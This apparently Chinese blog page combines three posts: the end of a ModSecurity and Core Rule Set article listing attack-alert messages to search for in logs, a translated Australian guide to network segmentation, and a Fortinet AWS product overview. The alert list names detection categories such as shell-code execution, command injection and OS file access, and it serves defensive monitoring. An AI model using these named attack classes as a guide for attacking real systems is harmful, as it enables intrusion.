[tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]
如上所示,当ModSecurity使用CRS检测到任何威胁时,具有各种信息的消息将附加到SecDebugLog指令设置的日志文件中。
分析这些日志并搜索特定字符串可以让管理员了解服务器所经历的各种攻击和严重性级别。作为第一步,以下是可在调试日志文件中查找的字符串列表:
- URL编码滥用攻击尝试
- 空主机头
- 通过有效负载的HTTP标头注入攻击(检测到CR / LF)
- 远程命令执行:Windows命令注入
- 请求丢失主机标头
- XSS过滤器 - 类别4:Javascript URI向量
- 寻找基本的sql注入。 mysql,oracle等的常见攻击字符串。
- 策略不允许请求内容类型
- PHP注入攻击:找到高风险的PHP函数名称
- 远程命令执行:Windows命令注入
- 策略不允许使用方法
- 无效的HTTP请求行
- 通过libinjection检测到SQL注入攻击
- 策略不允许HTTP协议版本
- 远程命令执行:Unix命令注入
- NoScript XSS InjectionChecker:属性注入
- IE XSS过滤器 - 检测到攻击。
- 带有正文内容的GET或HEAD请求。
- 远程命令执行:直接Unix命令执行
- PHP注入攻击:找到变量
- PHP注入攻击:发现高风险的PHP函数调用
- 节点验证器黑名单关键字
- 请求中的字符无效(空字符)
- 远程命令执行:找到Unix Shell代码
- 可能的远程文件包含(RFI)攻击:常见的RFI易受攻击的参数名称
- 路径遍历攻击(/../)
- URL文件扩展名受策略限制
- 操作系统文件访问尝试
- XSS过滤器 - 类别1:脚本标记向量
- 通过libinjection检测到XSS攻击
- NoScript XSS InjectionChecker:HTML注入
- 路径遍历攻击(/../)
- 可能的远程文件包含(RFI)攻击:使用带有尾随问题的URL有效负载...
- 找到与安全扫描器关联的请求文件名/参数
性能影响
启用ModSecurity肯定会对Access Gateway的以下区域产生影响:
- CPU使用率
- 内存使用情况
- 响应时间
管理员可以使用上面提到的可用指令和设置(采样,异常阈值scor,e等),并评估ModSecurity对Access Gateway性能的影响。主要影响是内存使用情况,因此建议增加RAM的大小。由于CRS有大约200条规则,如果可用内存不足,Access Gateway可以成功处理的同时连接数将减少。对CPU的影响介于(1% - 5%)之间。
下一步是什么
- 绩效基准
- 启用对个别攻击的检测。对于例如XSS,SQLi,Brute-Force等
- Geo-IP黑名单,HTTP指纹识别,
- 处理误报。
- 还有很多...
References
- ModSecurity 2.5 by Magnus Mischel
- ModSecurity Handbook by Feistyduck.com
- https://coreruleset.org/
- https://github.com/SpiderLabs/ModSecurity/wiki
- https://www.netnea.com
本文:http://pub.intelligentx.net/power-access-gateway-modsecurity-and-core-rule-set
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 270 次浏览
【网络安全架构】实现网络分割和隔离
介绍
本文件旨在通过应用网络分割和隔离策略,协助负责组织网络架构和设计的员工提高其网络的安全态势。
网络分割和隔离是一个组织可以实施的有效策略,以限制网络入侵的影响。如果实施得当,这些策略会使对手很难定位和获取组织最敏感的信息;并增加及时发现对手活动的可能性。
历史上,网络分割和隔离是通过一个组织的internet(或组织间)网关上的外围防火墙来实现的;或者是围绕一个非军事区的一对防火墙来实现的,该非军事区在完全受信任和不受信任的区域之间提供一个隔离的环境。然而,简单地将整个网络分区为“受信任的”并将其视为“平坦的”(即整个网络作为单个网段)会创建一个环境,该环境只需要一次网络入侵,对手就可以获得广泛的访问。平坦的网络还允许对手在主机和服务之间进行旋转,而障碍最小,检测的机会有限。
随着敌方tradecraft直接使用spear网络钓鱼和社会工程等技术瞄准内部网络,以及移动和远程工作的日益使用,这些常见的平面网络架构无法保护组织免受当代网络威胁。因此,组织必须对网络进行细分,将敏感信息、主机和服务与用户访问外部资源的环境隔离开来,特别是网络、电子邮件和其他互联网服务。
什么是网络分割和隔离?
网络分割涉及到将网络分割成更小的网络;而网络分割涉及到开发和实施用于控制特定主机和服务之间通信的规则集。
在实施网络分割和隔离时,目标是限制对敏感信息、主机和服务的访问级别,同时确保一个组织能够继续有效运作。网络分割和隔离措施要想行之有效,就必须周密规划,有力执行,严密监控,不能绕开。
使用许多技术和技术可以实现网络分割和隔离,包括:
- 在具有不同安全要求(安全域)的网络之间实施非军事化区域和网关,使用不同层的技术,例如:
- 路由器或第3层交换机,用于将大型网络划分为单独的较小网络,以使用访问控制列表等措施限制流量
- 虚拟网络和路由协议,包括虚拟局域网和虚拟路由和转发以分段网络
- 虚拟机、容器和虚拟功能,用于隔离不同信任或威胁级别的活动(例如访问internet或电子邮件,或执行特权管理任务)
- 虚拟主机、虚拟交换、云租赁和托管安全组,以隔离和分段应用程序、数据和其他服务
- 基于主机的安全和防火墙软件,用于在主机级别过滤网络流量
- 过滤网络流量的网络防火墙和网络间的安全设备
- 网络访问控制用于控制可以访问网络的设备
- 应用程序和服务防火墙和代理(或服务代理),仅允许不同网络中的应用程序和服务之间的批准通信
- 用户和服务身份验证和授权,包括多因素身份验证和基于策略的访问控制,以强制最小权限
- 用于增强网络间数据流方向性的数据二极管和单向传输设备
- 内容过滤技术包括递归分解、验证、验证和消毒,以全面确保网络和应用程序流量。
- 使用Internet协议安全性(IPsec)实现服务器和域隔离。
- 使用磁盘和卷加密以及逻辑单元号屏蔽等技术实现基于存储的分段和筛选。
- 对于极其敏感的网络连接,实施跨域解决方案或澳大利亚信号局澳大利亚网络安全中心(ACSC)推荐的其他技术。
要取得成功,这些技术和技术的实现必须由基于实现组织业务和安全需求的网络架构驱动。至关重要的是,网络、系统和安全架构师与业务分析师和客户合作,以确保采用准确和考虑周全的策略。
为什么网络分割和隔离很重要?
一旦对手破坏了网络,通常是通过社会工程手段,通过合法用户控制下的主机的破坏,他们将试图在网络中移动,以定位和访问敏感信息、主机和服务。为了最大限度地减少这种网络入侵的影响,敌方应尽可能难以找到和访问此类信息,在网络周围移动而不被发现,并从网络中删除信息。
敌方可尝试使用其掌握的工具和技术,直接从受损主机连接到更敏感的主机。例如,如果一个敌方最初已经破坏了一个工作站,他们可能会试图创建到服务器的远程连接、映射网络资源或使用合法的网络管理工具来访问敏感信息或在该服务器上执行恶意代码。当对手以组织的身份验证服务器为目标时,这种情况尤其常见。合理规划和实施网络分割和隔离是防止此类活动发生的关键安全措施。示例缓解措施包括明确禁止远程桌面连接或从用户工作站使用通用网络管理工具(因为大多数用户不需要此类功能)、配置服务器以限制文件共享,以及限制服务器通过远程连接进行通信的能力。
网络分割和隔离也有助于安全人员履行其职责。实施这些措施的组织应考虑候选技术的审计和警报功能,因为这些功能可能对识别网络入侵和确保及时的事件响应活动至关重要。一个成熟的分段和隔离环境也将使组织能够更好地将其审计和警报策略集中在由批准的网络访问方法通知的攻击向量的优先子集上。此外,它还可以提供一种在网络入侵后及时隔离受损主机或网络的方法。
如何实现网络分割和隔离?
无论选择何种网络分割和隔离技术,最佳实践实施都有五个共同主题:
- 不仅仅在网络层应用技术。在可能的情况下,应在实际可管理的最低级别对每个主机和网络进行分段和隔离。在大多数情况下,这适用于从数据链路层到应用层(包括应用层);但是,在特别敏感的环境中,物理隔离可能是适当的。应以互补的方式部署基于主机和全网络的措施,并对其进行集中监测。仅仅实现防火墙或安全设备作为唯一的安全措施是不够的。
- 使用最少特权和需要知道的原则。如果一个主机、服务或网络不需要与另一个主机、服务或网络通信,则不应允许这样做。如果一个主机、服务或网络只需要在特定端口或协议上与另一个主机、服务或网络进行对话,而不需要其他任何东西,则应仅限于此。在网络中采用这些原则将补充用户权限的最小化,并显著提高环境的总体安全态势。
- 根据主机和网络对业务操作的敏感度或关键程度将它们分开。这可能包括根据特定主机或网络的不同安全分类、安全域或可用性/完整性要求使用不同的硬件或平台。特别是,分离管理网络,并考虑物理隔离敏感环境的带外管理网络。
- 识别、认证并授权所有实体访问所有其他实体。所有用户、主机和服务对所有其他用户、主机和服务的访问权限应仅限于执行其指定职责或功能所需的用户、主机和服务。应尽可能禁用绕过或降低标识、身份验证和授权服务强度的所有传统或本地服务,并密切监测其使用情况。
- 实现已批准的网络流量列表,而不是未批准的网络流量列表。只允许访问已知的良好网络流量(即已识别、验证和授权的流量),而不阻止访问已知的不良网络流量(如阻止特定地址或服务)。这不仅将导致一个优越的安全政策,它还将大大提高一个组织的能力,以检测和评估潜在的网络入侵。
在实现网络分割和隔离时,应考虑以下类型的流量过滤技术。如上所述,如果使用专门允许业务而不是专门阻塞业务的方法来实现,则这些过滤技术将显著地更加有效:
- 网络流量的逻辑访问限制,例如:
- 基于Internet协议和路由信息限制哪些主机能够与其他主机通信的网络层筛选
- 基于状态的筛选,根据主机的预期功能或当前操作状态限制哪些主机能够与其他主机通信
- 端口和/或协议级筛选,用于限制每个主机可用于与其他主机通信的服务的数量和类型。
- 基于强身份验证限制对主机、服务和网络的访问的身份验证筛选,通常使用公钥密码(如基于证书的IPsec)实现。
- 应用程序过滤,用于过滤应用程序层主机和网络之间通信的内容,通常使用电子邮件和web内容过滤、入侵预防系统以及web应用程序或XML防火墙来实现。
- 对于特别敏感的环境,也可以在网络之间实现物理隔离。如果物理隔离网络之间需要有限的交互,则可能需要以下一个或多个:
- 定制或定制的安全设备
- 高保证产品,或
- 跨域解决方案。
与任何安全策略一样,当组织的网络发生重大变化时,必须对网络分割和隔离实施进行调整。此外,环境变化,如新的业务职能和不断演变的网络威胁,将需要审查一个组织的安全态势和网络架构,以确保应用适当的缓解策略。
网络分割和隔离的示例实现
分割网络以保护关键主机
在这种情况下,一个组织决定对其网络进行分段,以保护关键主机免受网络入侵。为此,他们采取了下列安全措施:
- 编制关键主机清单,记录其敏感度以及与此类主机的任何必要通信
- 计划在一个时间表中引入安全措施,该时间表可通过分配资源来实现,确保在部署前进行足够的测试
- 与关键主机的逻辑网络连接仅限于那些必需的端口和协议
- 只允许从更受信任的区域建立连接到不受信任的区域,反之亦然(对应用程序接口的必要用户访问除外)
- 批准特定的应用程序层内容,以便仅允许该内容在不同的信任区域之间流动
- 实现了多因素身份验证,此外,如果用户和服务的功能比共享同一主机或网络的其他用户或服务更敏感,则为用户和服务使用单独的凭据集
- 最大限度地减少了相同和不同信任区域中主机之间隐式信任关系的使用(实现了跨不同信任区域定义的信任关系,以便信任关系的每一方都对另一方进行身份验证和授权)
- 为与外部组织和internet的连接实施web、电子邮件和文件内容筛选,以检测和清除潜在的恶意内容
- 应用入侵防御和基于主机的防病毒技术检测和隔离识别出的恶意内容
- 实施集中的日志记录、警报、监控和审计功能,由专门的安全操作团队负责。
上面的列表并不是一套详尽的安全措施;但是,它是一个现实的概述,表明必须在所有层考虑网络分割和隔离才能有效。实现安全的网络体系结构从来没有像实现具有限制性访问控制列表的网关防火墙那样简单。
将高风险应用程序与网络隔离
在这种情况下,一个组织发现,他们的网络中大部分都包含敏感信息,分割网络或将所有这些信息分离并不划算。相反,该组织选择将高风险应用程序(即web浏览器、电子邮件客户端和内容管理系统)与网络其他部分隔离开来。在此过程中,他们实施了以下安全措施,以维持业务需求,同时降低网络入侵成功的风险:
- 需要internet访问的用户在其公司工作站上启动远程桌面应用程序以访问虚拟桌面,并使用仅用于此目的的用户帐户进行身份验证。此虚拟桌面是由托管在不同身份验证域中的不同网段中的专用服务器提供服务的。这种专用的远程桌面允许用户进行高风险的活动,例如浏览网页和阅读电子邮件,同时将单个受损应用程序的效用限制在对手身上。
- 需要访问高风险应用程序的用户启动了一个本地虚拟化应用程序,以运行一个加固的虚拟主机,该主机连接到一个不太可信的远程环境,该环境由一个分层的安全网关保护,该网关将高风险应用程序和组织的企业网络。
示例实现摘要
这两种方法的主要优点是,用户没有直接在其公司工作站上存储或处理潜在的恶意数据,也没有使用公司服务器来执行敏感和关键业务功能。每个用户的交互都是与远程桌面或应用程序进行的,如果需要的话,可以通过一个足够结构化和有限的功能将输出发送回用户,从而防止恶意代码在整个公司网络中执行或传播。
重要的是要记住,在实施安全措施时,组织将承担资源成本,以确保适当维护附加系统。与其他技术资产一样,这些安全措施应得到管理和监控,发布后应尽快应用安全修补程序。
最后,建议所有的web浏览环境都应该是非持久的、严格强化的,并接受定期的技术安全评估。因此,如果web浏览环境确实受到恶意代码的危害,则当用户完成其web浏览会话时,该感染会迅速消除。
原文:https://www.cyber.gov.au/publications/implementing-network-segmentation-and-segregation
本文:http://jiagoushi.pro/node/1042
讨论:请加入知识星球【首席架构师圈】或者小号【intelligenttimes】
- 232 次浏览
【网络架构】AWS的动态安全性
从云和数据中心到AWS的一致多层安全性。
适用于亚马逊网络服务的Fortinet解决方案(AWS)
越来越多的企业转向AWS扩展内部数据中心,并利用公共云的弹性。 虽然AWS可以保护基础架构,但您有责任保护您放入其中的所有内容。 Fortinet虚拟设备为您的AWS工作负载提供全面的安全性,包括防火墙,安全网关,入侵防护和Web应用程序安全性。
在AWS上使用Fortinet为您提供与业界领先的硬件设备以及这些功能相同的强大安全控制。
特点和优点:
- 减少现金:灵活的计费集成:自带许可证(BYOL)或基于实用程序的计量
- 中心管理:跨数据中心和公共云部署的集中管理
- 云准备好了:将AWS自动扩展组集成到云编队模板中,实现高级安全自动化
- 自动化:使用AWS Transit VPC集线器简化网络安全管理,节省时间和成本
AWS的Fortinet用例
可见性和控制
- 云基础设施可见性和控制
- 云中的合规性
- 基于云的安全管理和分析
应用安全
- Web应用程序安全
- 逻辑(基于意图的)分段
- 集装箱安全
- 云负载保护
安全连接
- 安全混合云
- 云安全服务中心
- 安全的远程访问
FortiGate企业套装
我们的企业(ENT)捆绑包现在包括:
- CASB - 为基于云的服务提供可见性,合规性,数据安全性和威胁防护。
- 工业安全服务保护 - SCADA(监督控制和数据采集)和ICS(工业控制系统)。这些签名可以解决针对关键基础设施和制造业的攻击,我们正在看到频繁和复杂的网络攻击。
- 安全评级服务 - 此服务对启用结构的网络执行检查,并为您的运营团队提供评分和建议。随后的记分卡可用于衡量对各种内部和外部组织政策,标准和法规要求的遵守情况,包括提供贵公司与行业同行的排名。
FortiGuard Enterprise(ENT)保护包旨在解决当今的高级威胁形势。 Enterprise Bundle整合了保护和防御从端点到云的所有网络攻击通道所需的全面保护。包括解决当今具有挑战性的OT,合规性和管理问题所需的技术。 Enterprise Bundle提供最全面的保护。企业捆绑包括:
- NGFW应用控制
- IPS
- 杀毒软件
- 僵尸网络
- IP /域名声誉
- 移动安全
- 网页过滤
- 反垃圾邮件
- FortiSandbox Cloud
- 病毒爆发保护
- 内容撤防与重建
- CASB
- 安全评级
- 工业安全服务
- FortiCare
FortiGate UTM Bundle
FortiGuard统一保护捆绑包(UTM)是我们传统的统一威胁管理安全捆绑包。 Unified Protection Bundle在整个数字攻击面上扩展了威胁防护,提供业界领先的防御复杂攻击的防御。 UTM捆绑包可让您了解基于Web和电子邮件的攻击。 UTM捆绑包提供了可用于统一威胁防护产品的最佳软件包。 UTM Bundle包括:
- NGFW应用控制
- IPS
- 杀毒软件
- 僵尸网络
- IP /域名声誉
- 移动安全
- 网页过滤
- 反垃圾邮件
- FortiSandbox Cloud
- 病毒爆发保护
- 内容撤防与重建
- FortiCare
FortiGuard优势:
- FortiGuard每小时处理超过6900万个网站,提供最新的声誉和分类。
- 通过顶级Web过滤防止恶意下载和浏览器劫持攻击(VBWeb已验证)
- 通过第三方独立测试(VBSpam + Verified)验证的卓越垃圾邮件防护提高了电子邮件生产力
FortiGate高级威胁防护套装
FortiGuard高级威胁防护(ATP)软件包提供了保护和防御已知和未知网络威胁所需的基础安全性。 高级威胁防护包包括:
- NGFW应用控制
- IPS
- 杀毒软件
- 僵尸网络
- IP /域名声誉
- 移动安全
- FortiSandbox Cloud
- 病毒爆发保护
- 内容撤防与重建
- FortiCare 24 * 7
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 45 次浏览